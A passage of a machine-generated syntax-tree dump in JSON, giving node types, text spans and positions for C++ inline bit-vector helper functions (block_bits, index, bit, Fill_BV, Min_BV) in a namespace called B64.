"children": [104, 106], "start_point": {"row": 12, "column": 26}, "end_point": {"row": 12, "column": 36}}, {"id": 104, "type": "sized_type_specifier", "text": "unsigned", "parent": 103, "children": [105], "start_point": {"row": 12, "column": 26}, "end_point": {"row": 12, "column": 34}}, {"id": 105, "type": "unsigned", "text": "unsigned", "parent": 104, "children": [], "start_point": {"row": 12, "column": 26}, "end_point": {"row": 12, "column": 34}}, {"id": 106, "type": "identifier", "text": "p", "parent": 103, "children": [], "start_point": {"row": 12, "column": 35}, "end_point": {"row": 12, "column": 36}}, {"id": 107, "type": "return_statement", "text": "return p >> block_bits();", "parent": 95, "children": [108], "start_point": {"row": 12, "column": 40}, "end_point": {"row": 12, "column": 65}}, {"id": 108, "type": "binary_expression", "text": "p >> block_bits()", "parent": 107, "children": [109, 110, 111], "start_point": {"row": 12, "column": 47}, "end_point": {"row": 12, "column": 64}}, {"id": 109, "type": "identifier", "text": "p", "parent": 108, "children": [], "start_point": {"row": 12, "column": 47}, "end_point": {"row": 12, "column": 48}}, {"id": 110, "type": ">>", "text": ">>", "parent": 108, "children": [], "start_point": {"row": 12, "column": 49}, "end_point": {"row": 12, "column": 51}}, {"id": 111, "type": "call_expression", "text": "block_bits()", "parent": 108, "children": [112, 113], "start_point": {"row": 12, "column": 52}, "end_point": {"row": 12, "column": 64}}, {"id": 112, "type": "identifier", "text": "block_bits", "parent": 111, "children": [], "start_point": {"row": 12, "column": 52}, "end_point": {"row": 12, "column": 62}}, {"id": 113, "type": "argument_list", "text": "()", "parent": 111, "children": [], "start_point": {"row": 12, "column": 62}, "end_point": {"row": 12, "column": 64}}, {"id": 114, "type": "function_definition", "text": "inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }", "parent": 15, "children": [115, 117, 119], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 75}}, {"id": 115, "type": "storage_class_specifier", "text": "inline", "parent": 114, "children": [116], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 10}}, {"id": 116, "type": "inline", "text": "inline", "parent": 115, "children": [], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 10}}, {"id": 117, "type": "sized_type_specifier", "text": "unsigned", "parent": 114, "children": [118], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 19}}, {"id": 118, "type": "unsigned", "text": "unsigned", "parent": 117, "children": [], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 19}}, {"id": 119, "type": "function_declarator", "text": "index(unsigned p)", "parent": 114, "children": [120, 121], "start_point": {"row": 13, "column": 20}, "end_point": {"row": 13, "column": 37}}, {"id": 120, "type": "identifier", "text": "index", "parent": 119, "children": [], "start_point": {"row": 13, "column": 20}, "end_point": {"row": 13, "column": 25}}, {"id": 121, "type": "parameter_list", "text": "(unsigned p)", "parent": 119, "children": [122], "start_point": {"row": 13, "column": 25}, "end_point": {"row": 13, "column": 37}}, {"id": 122, "type": "parameter_declaration", "text": "unsigned p", "parent": 121, "children": [123, 125], "start_point": {"row": 13, "column": 26}, "end_point": {"row": 13, "column": 36}}, {"id": 123, "type": "sized_type_specifier", "text": "unsigned", "parent": 122, "children": [124], "start_point": {"row": 13, "column": 26}, "end_point": {"row": 13, "column": 34}}, {"id": 124, "type": "unsigned", "text": "unsigned", "parent": 123, "children": [], "start_point": {"row": 13, "column": 26}, "end_point": {"row": 13, "column": 34}}, {"id": 125, "type": "identifier", "text": "p", "parent": 122, "children": [], "start_point": {"row": 13, "column": 35}, "end_point": {"row": 13, "column": 36}}, {"id": 126, "type": "return_statement", "text": "return p & ((1<<block_bits())-1);", "parent": 114, "children": [127], "start_point": {"row": 13, "column": 40}, "end_point": {"row": 13, "column": 73}}, {"id": 127, "type": "binary_expression", "text": "p & ((1<<block_bits())-1)", "parent": 126, "children": [128, 129], "start_point": {"row": 13, "column": 47}, "end_point": {"row": 13, "column": 72}}, {"id": 128, "type": "identifier", "text": "p", "parent": 127, "children": [], "start_point": {"row": 13, "column": 47}, "end_point": {"row": 13, "column": 48}}, {"id": 129, "type": "parenthesized_expression", "text": "((1<<block_bits())-1)", "parent": 127, "children": [130], "start_point": {"row": 13, "column": 51}, "end_point": {"row": 13, "column": 72}}, {"id": 130, "type": "binary_expression", "text": "(1<<block_bits())-1", "parent": 129, "children": [131, 138, 139], "start_point": {"row": 13, "column": 52}, "end_point": {"row": 13, "column": 71}}, {"id": 131, "type": "parenthesized_expression", "text": "(1<<block_bits())", "parent": 130, "children": [132], "start_point": {"row": 13, "column": 52}, "end_point": {"row": 13, "column": 69}}, {"id": 132, "type": "binary_expression", "text": "1<<block_bits()", "parent": 131, "children": [133, 134, 135], "start_point": {"row": 13, "column": 53}, "end_point": {"row": 13, "column": 68}}, {"id": 133, "type": "number_literal", "text": "1", "parent": 132, "children": [], "start_point": {"row": 13, "column": 53}, "end_point": {"row": 13, "column": 54}}, {"id": 134, "type": "<<", "text": "<<", "parent": 132, "children": [], "start_point": {"row": 13, "column": 54}, "end_point": {"row": 13, "column": 56}}, {"id": 135, "type": "call_expression", "text": "block_bits()", "parent": 132, "children": [136, 137], "start_point": {"row": 13, "column": 56}, "end_point": {"row": 13, "column": 68}}, {"id": 136, "type": "identifier", "text": "block_bits", "parent": 135, "children": [], "start_point": {"row": 13, "column": 56}, "end_point": {"row": 13, "column": 66}}, {"id": 137, "type": "argument_list", "text": "()", "parent": 135, "children": [], "start_point": {"row": 13, "column": 66}, "end_point": {"row": 13, "column": 68}}, {"id": 138, "type": "-", "text": "-", "parent": 130, "children": [], "start_point": {"row": 13, "column": 69}, "end_point": {"row": 13, "column": 70}}, {"id": 139, "type": "number_literal", "text": "1", "parent": 130, "children": [], "start_point": {"row": 13, "column": 70}, "end_point": {"row": 13, "column": 71}}, {"id": 140, "type": "function_definition", "text": "inline uint64_t bit(unsigned p) { return 1ull << index(p); }", "parent": 15, "children": [141, 143, 144], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 64}}, {"id": 141, "type": "storage_class_specifier", "text": "inline", "parent": 140, "children": [142], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 10}}, {"id": 142, "type": "inline", "text": "inline", "parent": 141, "children": [], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 10}}, {"id": 143, "type": "primitive_type", "text": "uint64_t", "parent": 140, "children": [], "start_point": {"row": 14, "column": 11}, "end_point": {"row": 14, "column": 19}}, {"id": 144, "type": "function_declarator", "text": "bit(unsigned p)", "parent": 140, "children": [145, 146], "start_point": {"row": 14, "column": 20}, "end_point": {"row": 14, "column": 35}}, {"id": 145, "type": "identifier", "text": "bit", "parent": 144, "children": [], "start_point": {"row": 14, "column": 20}, "end_point": {"row": 14, "column": 23}}, {"id": 146, "type": "parameter_list", "text": "(unsigned p)", "parent": 144, "children": [147], "start_point": {"row": 14, "column": 23}, "end_point": {"row": 14, "column": 35}}, {"id": 147, "type": "parameter_declaration", "text": "unsigned p", "parent": 146, "children": [148, 150], "start_point": {"row": 14, "column": 24}, "end_point": {"row": 14, "column": 34}}, {"id": 148, "type": "sized_type_specifier", "text": "unsigned", "parent": 147, "children": [149], "start_point": {"row": 14, "column": 24}, "end_point": {"row": 14, "column": 32}}, {"id": 149, "type": "unsigned", "text": "unsigned", "parent": 148, "children": [], "start_point": {"row": 14, "column": 24}, "end_point": {"row": 14, "column": 32}}, {"id": 150, "type": "identifier", "text": "p", "parent": 147, "children": [], "start_point": {"row": 14, "column": 33}, "end_point": {"row": 14, "column": 34}}, {"id": 151, "type": "return_statement", "text": "return 1ull << index(p);", "parent": 140, "children": [152], "start_point": {"row": 14, "column": 38}, "end_point": {"row": 14, "column": 62}}, {"id": 152, "type": "binary_expression", "text": "1ull << index(p)", "parent": 151, "children": [153, 154, 155], "start_point": {"row": 14, "column": 45}, "end_point": {"row": 14, "column": 61}}, {"id": 153, "type": "number_literal", "text": "1ull", "parent": 152, "children": [], "start_point": {"row": 14, "column": 45}, "end_point": {"row": 14, "column": 49}}, {"id": 154, "type": "<<", "text": "<<", "parent": 152, "children": [], "start_point": {"row": 14, "column": 50}, "end_point": {"row": 14, "column": 52}}, {"id": 155, "type": "call_expression", "text": "index(p)", "parent": 152, "children": [156, 157], "start_point": {"row": 14, "column": 53}, "end_point": {"row": 14, "column": 61}}, {"id": 156, "type": "identifier", "text": "index", "parent": 155, "children": [], "start_point": {"row": 14, "column": 53}, "end_point": {"row": 14, "column": 58}}, {"id": 157, "type": "argument_list", "text": "(p)", "parent": 155, "children": [158], "start_point": {"row": 14, "column": 58}, "end_point": {"row": 14, "column": 61}}, {"id": 158, "type": "identifier", "text": "p", "parent": 157, "children": [], "start_point": {"row": 14, "column": 59}, "end_point": {"row": 14, "column": 60}}, {"id": 159, "type": "function_definition", "text": "namespace B64 {\n inline unsigned block_bits(void) { return 6; }\n inline unsigned block_size(void) { return 1 << block_bits(); }\n inline uint64_t block_mask(void) { return block_size()-1; }\n inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }\n inline unsigned block(unsigned p) { return p >> block_bits(); }\n inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }\n inline uint64_t bit(unsigned p) { return 1ull << index(p); }\n\n inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }\n\n inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);\n }", "parent": 12, "children": [160, 161], "start_point": {"row": 18, "column": 2}, "end_point": {"row": 39, "column": 5}}, {"id": 160, "type": "type_identifier", "text": "namespace", "parent": 159, "children": [], "start_point": {"row": 18, "column": 2}, "end_point": {"row": 18, "column": 11}}, {"id": 161, "type": "identifier", "text": "B64", "parent": 159, "children": [], "start_point": {"row": 18, "column": 12}, "end_point": {"row": 18, "column": 15}}, {"id": 162, "type": "function_definition", "text": "inline unsigned block_bits(void) { return 6; }", "parent": 159, "children": [163, 165, 167], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 50}}, {"id": 163, "type": "storage_class_specifier", "text": "inline", "parent": 162, "children": [164], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 10}}, {"id": 164, "type": "inline", "text": "inline", "parent": 163, "children": [], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 10}}, {"id": 165, "type": "sized_type_specifier", "text": "unsigned", "parent": 162, "children": [166], "start_point": {"row": 19, "column": 11}, "end_point": {"row": 19, "column": 19}}, {"id": 166, "type": "unsigned", "text": "unsigned", "parent": 165, "children": [], "start_point": {"row": 19, "column": 11}, "end_point": {"row": 19, "column": 19}}, {"id": 167, "type": "function_declarator", "text": "block_bits(void)", "parent": 162, "children": [168, 169], "start_point": {"row": 19, "column": 20}, "end_point": {"row": 19, "column": 36}}, {"id": 168, "type": "identifier", "text": "block_bits", "parent": 167, "children": [], "start_point": {"row": 19, "column": 20}, "end_point": {"row": 19, "column": 30}}, {"id": 169, "type": "parameter_list", "text": "(void)", "parent": 167, "children": [170], "start_point": {"row": 19, "column": 30}, "end_point": {"row": 19, "column": 36}}, {"id": 170, "type": "parameter_declaration", "text": "void", "parent": 169, "children": [171], "start_point": {"row": 19, "column": 31}, "end_point": {"row": 19, "column": 35}}, {"id": 171, "type": "primitive_type", "text": "void", "parent": 170, "children": [], "start_point": {"row": 19, "column": 31}, "end_point": {"row": 19, "column": 35}}, {"id": 172, "type": "return_statement", "text": "return 6;", "parent": 162, "children": [173], "start_point": {"row": 19, "column": 39}, "end_point": {"row": 19, "column": 48}}, {"id": 173, "type": "number_literal", "text": "6", "parent": 172, "children": [], "start_point": {"row": 19, "column": 46}, "end_point": {"row": 19, "column": 47}}, {"id": 174, "type": "function_definition", "text": "inline unsigned block_size(void) { return 1 << block_bits(); }", "parent": 159, "children": [175, 177, 179], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 66}}, {"id": 175, "type": "storage_class_specifier", "text": "inline", "parent": 174, "children": [176], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 10}}, {"id": 176, "type": "inline", "text": "inline", "parent": 175, "children": [], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 10}}, {"id": 177, "type": "sized_type_specifier", "text": "unsigned", "parent": 174, "children": [178], "start_point": {"row": 20, "column": 11}, "end_point": {"row": 20, "column": 19}}, {"id": 178, "type": "unsigned", "text": "unsigned", "parent": 177, "children": [], "start_point": {"row": 20, "column": 11}, "end_point": {"row": 20, "column": 19}}, {"id": 179, "type": "function_declarator", "text": "block_size(void)", "parent": 174, "children": [180, 181], "start_point": {"row": 20, "column": 20}, "end_point": {"row": 20, "column": 36}}, {"id": 180, "type": "identifier", "text": "block_size", "parent": 179, "children": [], "start_point": {"row": 20, "column": 20}, "end_point": {"row": 20, "column": 30}}, {"id": 181, "type": "parameter_list", "text": "(void)", "parent": 179, "children": [182], "start_point": {"row": 20, "column": 30}, "end_point": {"row": 20, "column": 36}}, {"id": 182, "type": "parameter_declaration", "text": "void", "parent": 181, "children": [183], "start_point": {"row": 20, "column": 31}, "end_point": {"row": 20, "column": 35}}, {"id": 183, "type": "primitive_type", "text": "void", "parent": 182, "children": [], "start_point": {"row": 20, "column": 31}, "end_point": {"row": 20, "column": 35}}, {"id": 184, "type": "return_statement", "text": "return 1 << block_bits();", "parent": 174, "children": [185], "start_point": {"row": 20, "column": 39}, "end_point": {"row": 20, "column": 64}}, {"id": 185, "type": "binary_expression", "text": "1 << block_bits()", "parent": 184, "children": [186, 187, 188], "start_point": {"row": 20, "column": 46}, "end_point": {"row": 20, "column": 63}}, {"id": 186, "type": "number_literal", "text": "1", "parent": 185, "children": [], "start_point": {"row": 20, "column": 46}, "end_point": {"row": 20, "column": 47}}, {"id": 187, "type": "<<", "text": "<<", "parent": 185, "children": [], "start_point": {"row": 20, "column": 48}, "end_point": {"row": 20, "column": 50}}, {"id": 188, "type": "call_expression", "text": "block_bits()", "parent": 185, "children": [189, 190], "start_point": {"row": 20, "column": 51}, "end_point": {"row": 20, "column": 63}}, {"id": 189, "type": "identifier", "text": "block_bits", "parent": 188, "children": [], "start_point": {"row": 20, "column": 51}, "end_point": {"row": 20, "column": 61}}, {"id": 190, "type": "argument_list", "text": "()", "parent": 188, "children": [], "start_point": {"row": 20, "column": 61}, "end_point": {"row": 20, "column": 63}}, {"id": 191, "type": "function_definition", "text": "inline uint64_t block_mask(void) { return block_size()-1; }", "parent": 159, "children": [192, 194, 195], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 63}}, {"id": 192, "type": "storage_class_specifier", "text": "inline", "parent": 191, "children": [193], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 10}}, {"id": 193, "type": "inline", "text": "inline", "parent": 192, "children": [], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 10}}, {"id": 194, "type": "primitive_type", "text": "uint64_t", "parent": 191, "children": [], "start_point": {"row": 21, "column": 11}, "end_point": {"row": 21, "column": 19}}, {"id": 195, "type": "function_declarator", "text": "block_mask(void)", "parent": 191, "children": [196, 197], "start_point": {"row": 21, "column": 20}, "end_point": {"row": 21, "column": 36}}, {"id": 196, "type": "identifier", "text": "block_mask", "parent": 195, "children": [], "start_point": {"row": 21, "column": 20}, "end_point": {"row": 21, "column": 30}}, {"id": 197, "type": "parameter_list", "text": "(void)", "parent": 195, "children": [198], "start_point": {"row": 21, "column": 30}, "end_point": {"row": 21, "column": 36}}, {"id": 198, "type": "parameter_declaration", "text": "void", "parent": 197, "children": [199], "start_point": {"row": 21, "column": 31}, "end_point": {"row": 21, "column": 35}}, {"id": 199, "type": "primitive_type", "text": "void", "parent": 198, "children": [], "start_point": {"row": 21, "column": 31}, "end_point": {"row": 21, "column": 35}}, {"id": 200, "type": "return_statement", "text": "return block_size()-1;", "parent": 191, "children": [201], "start_point": {"row": 21, "column": 39}, "end_point": {"row": 21, "column": 61}}, {"id": 201, "type": "binary_expression", "text": "block_size()-1", "parent": 200, "children": [202, 205, 206], "start_point": {"row": 21, "column": 46}, "end_point": {"row": 21, "column": 60}}, {"id": 202, "type": "call_expression", "text": "block_size()", "parent": 201, "children": [203, 204], "start_point": {"row": 21, "column": 46}, "end_point": {"row": 21, "column": 58}}, {"id": 203, "type": "identifier", "text": "block_size", "parent": 202, "children": [], "start_point": {"row": 21, "column": 46}, "end_point": {"row": 21, "column": 56}}, {"id": 204, "type": "argument_list", "text": "()", "parent": 202, "children": [], "start_point": {"row": 21, "column": 56}, "end_point": {"row": 21, "column": 58}}, {"id": 205, "type": "-", "text": "-", "parent": 201, "children": [], "start_point": {"row": 21, "column": 58}, "end_point": {"row": 21, "column": 59}}, {"id": 206, "type": "number_literal", "text": "1", "parent": 201, "children": [], "start_point": {"row": 21, "column": 59}, "end_point": {"row": 21, "column": 60}}, {"id": 207, "type": "function_definition", "text": "inline unsigned req_words(unsigned sz) { return (sz >> block_bits()) + ((sz & block_mask()) != 0); }", "parent": 159, "children": [208, 210, 212], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 104}}, {"id": 208, "type": "storage_class_specifier", "text": "inline", "parent": 207, "children": [209], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 10}}, {"id": 209, "type": "inline", "text": "inline", "parent": 208, "children": [], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 10}}, {"id": 210, "type": "sized_type_specifier", "text": "unsigned", "parent": 207, "children": [211], "start_point": {"row": 22, "column": 11}, "end_point": {"row": 22, "column": 19}}, {"id": 211, "type": "unsigned", "text": "unsigned", "parent": 210, "children": [], "start_point": {"row": 22, "column": 11}, "end_point": {"row": 22, "column": 19}}, {"id": 212, "type": "function_declarator", "text": "req_words(unsigned sz)", "parent": 207, "children": [213, 214], "start_point": {"row": 22, "column": 20}, "end_point": {"row": 22, "column": 42}}, {"id": 213, "type": "identifier", "text": "req_words", "parent": 212, "children": [], "start_point": {"row": 22, "column": 20}, "end_point": {"row": 22, "column": 29}}, {"id": 214, "type": "parameter_list", "text": "(unsigned sz)", "parent": 212, "children": [215], "start_point": {"row": 22, "column": 29}, "end_point": {"row": 22, "column": 42}}, {"id": 215, "type": "parameter_declaration", "text": "unsigned sz", "parent": 214, "children": [216, 218], "start_point": {"row": 22, "column": 30}, "end_point": {"row": 22, "column": 41}}, {"id": 216, "type": "sized_type_specifier", "text": "unsigned", "parent": 215, "children": [217], "start_point": {"row": 22, "column": 30}, "end_point": {"row": 22, "column": 38}}, {"id": 217, "type": "unsigned", "text": "unsigned", "parent": 216, "children": [], "start_point": {"row": 22, "column": 30}, "end_point": {"row": 22, "column": 38}}, {"id": 218, "type": "identifier", "text": "sz", "parent": 215, "children": [], "start_point": {"row": 22, "column": 39}, "end_point": {"row": 22, "column": 41}}, {"id": 219, "type": "return_statement", "text": "return (sz >> block_bits()) + ((sz & block_mask()) != 0);", "parent": 207, "children": [220], "start_point": {"row": 22, "column": 45}, "end_point": {"row": 22, "column": 102}}, {"id": 220, "type": "binary_expression", "text": "(sz >> block_bits()) + ((sz & block_mask()) != 0)", "parent": 219, "children": [221, 228, 229], "start_point": {"row": 22, "column": 52}, "end_point": {"row": 22, "column": 101}}, {"id": 221, "type": "parenthesized_expression", "text": "(sz >> block_bits())", "parent": 220, "children": [222], "start_point": {"row": 22, "column": 52}, "end_point": {"row": 22, "column": 72}}, {"id": 222, "type": "binary_expression", "text": "sz >> block_bits()", "parent": 221, "children": [223, 224, 225], "start_point": {"row": 22, "column": 53}, "end_point": {"row": 22, "column": 71}}, {"id": 223, "type": "identifier", "text": "sz", "parent": 222, "children": [], "start_point": {"row": 22, "column": 53}, "end_point": {"row": 22, "column": 55}}, {"id": 224, "type": ">>", "text": ">>", "parent": 222, "children": [], "start_point": {"row": 22, "column": 56}, "end_point": {"row": 22, "column": 58}}, {"id": 225, "type": "call_expression", "text": "block_bits()", "parent": 222, "children": [226, 227], "start_point": {"row": 22, "column": 59}, "end_point": {"row": 22, "column": 71}}, {"id": 226, "type": "identifier", "text": "block_bits", "parent": 225, "children": [], "start_point": {"row": 22, "column": 59}, "end_point": {"row": 22, "column": 69}}, {"id": 227, "type": "argument_list", "text": "()", "parent": 225, "children": [], "start_point": {"row": 22, "column": 69}, "end_point": {"row": 22, "column": 71}}, {"id": 228, "type": "+", "text": "+", "parent": 220, "children": [], "start_point": {"row": 22, "column": 73}, "end_point": {"row": 22, "column": 74}}, {"id": 229, "type": "parenthesized_expression", "text": "((sz & block_mask()) != 0)", "parent": 220, "children": [230], "start_point": {"row": 22, "column": 75}, "end_point": {"row": 22, "column": 101}}, {"id": 230, "type": "binary_expression", "text": "(sz & block_mask()) != 0", "parent": 229, "children": [231, 237, 238], "start_point": {"row": 22, "column": 76}, "end_point": {"row": 22, "column": 100}}, {"id": 231, "type": "parenthesized_expression", "text": "(sz & block_mask())", "parent": 230, "children": [232], "start_point": {"row": 22, "column": 76}, "end_point": {"row": 22, "column": 95}}, {"id": 232, "type": "binary_expression", "text": "sz & block_mask()", "parent": 231, "children": [233, 234], "start_point": {"row": 22, "column": 77}, "end_point": {"row": 22, "column": 94}}, {"id": 233, "type": "identifier", "text": "sz", "parent": 232, "children": [], "start_point": {"row": 22, "column": 77}, "end_point": {"row": 22, "column": 79}}, {"id": 234, "type": "call_expression", "text": "block_mask()", "parent": 232, "children": [235, 236], "start_point": {"row": 22, "column": 82}, "end_point": {"row": 22, "column": 94}}, {"id": 235, "type": "identifier", "text": "block_mask", "parent": 234, "children": [], "start_point": {"row": 22, "column": 82}, "end_point": {"row": 22, "column": 92}}, {"id": 236, "type": "argument_list", "text": "()", "parent": 234, "children": [], "start_point": {"row": 22, "column": 92}, "end_point": {"row": 22, "column": 94}}, {"id": 237, "type": "!=", "text": "!=", "parent": 230, "children": [], "start_point": {"row": 22, "column": 96}, "end_point": {"row": 22, "column": 98}}, {"id": 238, "type": "number_literal", "text": "0", "parent": 230, "children": [], "start_point": {"row": 22, "column": 99}, "end_point": {"row": 22, "column": 100}}, {"id": 239, "type": "function_definition", "text": "inline unsigned block(unsigned p) { return p >> block_bits(); }", "parent": 159, "children": [240, 242, 244], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 67}}, {"id": 240, "type": "storage_class_specifier", "text": "inline", "parent": 239, "children": [241], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 10}}, {"id": 241, "type": "inline", "text": "inline", "parent": 240, "children": [], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 10}}, {"id": 242, "type": "sized_type_specifier", "text": "unsigned", "parent": 239, "children": [243], "start_point": {"row": 23, "column": 11}, "end_point": {"row": 23, "column": 19}}, {"id": 243, "type": "unsigned", "text": "unsigned", "parent": 242, "children": [], "start_point": {"row": 23, "column": 11}, "end_point": {"row": 23, "column": 19}}, {"id": 244, "type": "function_declarator", "text": "block(unsigned p)", "parent": 239, "children": [245, 246], "start_point": {"row": 23, "column": 20}, "end_point": {"row": 23, "column": 37}}, {"id": 245, "type": "identifier", "text": "block", "parent": 244, "children": [], "start_point": {"row": 23, "column": 20}, "end_point": {"row": 23, "column": 25}}, {"id": 246, "type": "parameter_list", "text": "(unsigned p)", "parent": 244, "children": [247], "start_point": {"row": 23, "column": 25}, "end_point": {"row": 23, "column": 37}}, {"id": 247, "type": "parameter_declaration", "text": "unsigned p", "parent": 246, "children": [248, 250], "start_point": {"row": 23, "column": 26}, "end_point": {"row": 23, "column": 36}}, {"id": 248, "type": "sized_type_specifier", "text": "unsigned", "parent": 247, "children": [249], "start_point": {"row": 23, "column": 26}, "end_point": {"row": 23, "column": 34}}, {"id": 249, "type": "unsigned", "text": "unsigned", "parent": 248, "children": [], "start_point": {"row": 23, "column": 26}, "end_point": {"row": 23, "column": 34}}, {"id": 250, "type": "identifier", "text": "p", "parent": 247, "children": [], "start_point": {"row": 23, "column": 35}, "end_point": {"row": 23, "column": 36}}, {"id": 251, "type": "return_statement", "text": "return p >> block_bits();", "parent": 239, "children": [252], "start_point": {"row": 23, "column": 40}, "end_point": {"row": 23, "column": 65}}, {"id": 252, "type": "binary_expression", "text": "p >> block_bits()", "parent": 251, "children": [253, 254, 255], "start_point": {"row": 23, "column": 47}, "end_point": {"row": 23, "column": 64}}, {"id": 253, "type": "identifier", "text": "p", "parent": 252, "children": [], "start_point": {"row": 23, "column": 47}, "end_point": {"row": 23, "column": 48}}, {"id": 254, "type": ">>", "text": ">>", "parent": 252, "children": [], "start_point": {"row": 23, "column": 49}, "end_point": {"row": 23, "column": 51}}, {"id": 255, "type": "call_expression", "text": "block_bits()", "parent": 252, "children": [256, 257], "start_point": {"row": 23, "column": 52}, "end_point": {"row": 23, "column": 64}}, {"id": 256, "type": "identifier", "text": "block_bits", "parent": 255, "children": [], "start_point": {"row": 23, "column": 52}, "end_point": {"row": 23, "column": 62}}, {"id": 257, "type": "argument_list", "text": "()", "parent": 255, "children": [], "start_point": {"row": 23, "column": 62}, "end_point": {"row": 23, "column": 64}}, {"id": 258, "type": "function_definition", "text": "inline unsigned index(unsigned p) { return p & ((1<<block_bits())-1); }", "parent": 159, "children": [259, 261, 263], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 75}}, {"id": 259, "type": "storage_class_specifier", "text": "inline", "parent": 258, "children": [260], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 10}}, {"id": 260, "type": "inline", "text": "inline", "parent": 259, "children": [], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 10}}, {"id": 261, "type": "sized_type_specifier", "text": "unsigned", "parent": 258, "children": [262], "start_point": {"row": 24, "column": 11}, "end_point": {"row": 24, "column": 19}}, {"id": 262, "type": "unsigned", "text": "unsigned", "parent": 261, "children": [], "start_point": {"row": 24, "column": 11}, "end_point": {"row": 24, "column": 19}}, {"id": 263, "type": "function_declarator", "text": "index(unsigned p)", "parent": 258, "children": [264, 265], "start_point": {"row": 24, "column": 20}, "end_point": {"row": 24, "column": 37}}, {"id": 264, "type": "identifier", "text": "index", "parent": 263, "children": [], "start_point": {"row": 24, "column": 20}, "end_point": {"row": 24, "column": 25}}, {"id": 265, "type": "parameter_list", "text": "(unsigned p)", "parent": 263, "children": [266], "start_point": {"row": 24, "column": 25}, "end_point": {"row": 24, "column": 37}}, {"id": 266, "type": "parameter_declaration", "text": "unsigned p", "parent": 265, "children": [267, 269], "start_point": {"row": 24, "column": 26}, "end_point": {"row": 24, "column": 36}}, {"id": 267, "type": "sized_type_specifier", "text": "unsigned", "parent": 266, "children": [268], "start_point": {"row": 24, "column": 26}, "end_point": {"row": 24, "column": 34}}, {"id": 268, "type": "unsigned", "text": "unsigned", "parent": 267, "children": [], "start_point": {"row": 24, "column": 26}, "end_point": {"row": 24, "column": 34}}, {"id": 269, "type": "identifier", "text": "p", "parent": 266, "children": [], "start_point": {"row": 24, "column": 35}, "end_point": {"row": 24, "column": 36}}, {"id": 270, "type": "return_statement", "text": "return p & ((1<<block_bits())-1);", "parent": 258, "children": [271], "start_point": {"row": 24, "column": 40}, "end_point": {"row": 24, "column": 73}}, {"id": 271, "type": "binary_expression", "text": "p & ((1<<block_bits())-1)", "parent": 270, "children": [272, 273], "start_point": {"row": 24, "column": 47}, "end_point": {"row": 24, "column": 72}}, {"id": 272, "type": "identifier", "text": "p", "parent": 271, "children": [], "start_point": {"row": 24, "column": 47}, "end_point": {"row": 24, "column": 48}}, {"id": 273, "type": "parenthesized_expression", "text": "((1<<block_bits())-1)", "parent": 271, "children": [274], "start_point": {"row": 24, "column": 51}, "end_point": {"row": 24, "column": 72}}, {"id": 274, "type": "binary_expression", "text": "(1<<block_bits())-1", "parent": 273, "children": [275, 282, 283], "start_point": {"row": 24, "column": 52}, "end_point": {"row": 24, "column": 71}}, {"id": 275, "type": "parenthesized_expression", "text": "(1<<block_bits())", "parent": 274, "children": [276], "start_point": {"row": 24, "column": 52}, "end_point": {"row": 24, "column": 69}}, {"id": 276, "type": "binary_expression", "text": "1<<block_bits()", "parent": 275, "children": [277, 278, 279], "start_point": {"row": 24, "column": 53}, "end_point": {"row": 24, "column": 68}}, {"id": 277, "type": "number_literal", "text": "1", "parent": 276, "children": [], "start_point": {"row": 24, "column": 53}, "end_point": {"row": 24, "column": 54}}, {"id": 278, "type": "<<", "text": "<<", "parent": 276, "children": [], "start_point": {"row": 24, "column": 54}, "end_point": {"row": 24, "column": 56}}, {"id": 279, "type": "call_expression", "text": "block_bits()", "parent": 276, "children": [280, 281], "start_point": {"row": 24, "column": 56}, "end_point": {"row": 24, "column": 68}}, {"id": 280, "type": "identifier", "text": "block_bits", "parent": 279, "children": [], "start_point": {"row": 24, "column": 56}, "end_point": {"row": 24, "column": 66}}, {"id": 281, "type": "argument_list", "text": "()", "parent": 279, "children": [], "start_point": {"row": 24, "column": 66}, "end_point": {"row": 24, "column": 68}}, {"id": 282, "type": "-", "text": "-", "parent": 274, "children": [], "start_point": {"row": 24, "column": 69}, "end_point": {"row": 24, "column": 70}}, {"id": 283, "type": "number_literal", "text": "1", "parent": 274, "children": [], "start_point": {"row": 24, "column": 70}, "end_point": {"row": 24, "column": 71}}, {"id": 284, "type": "function_definition", "text": "inline uint64_t bit(unsigned p) { return 1ull << index(p); }", "parent": 159, "children": [285, 287, 288], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 64}}, {"id": 285, "type": "storage_class_specifier", "text": "inline", "parent": 284, "children": [286], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 10}}, {"id": 286, "type": 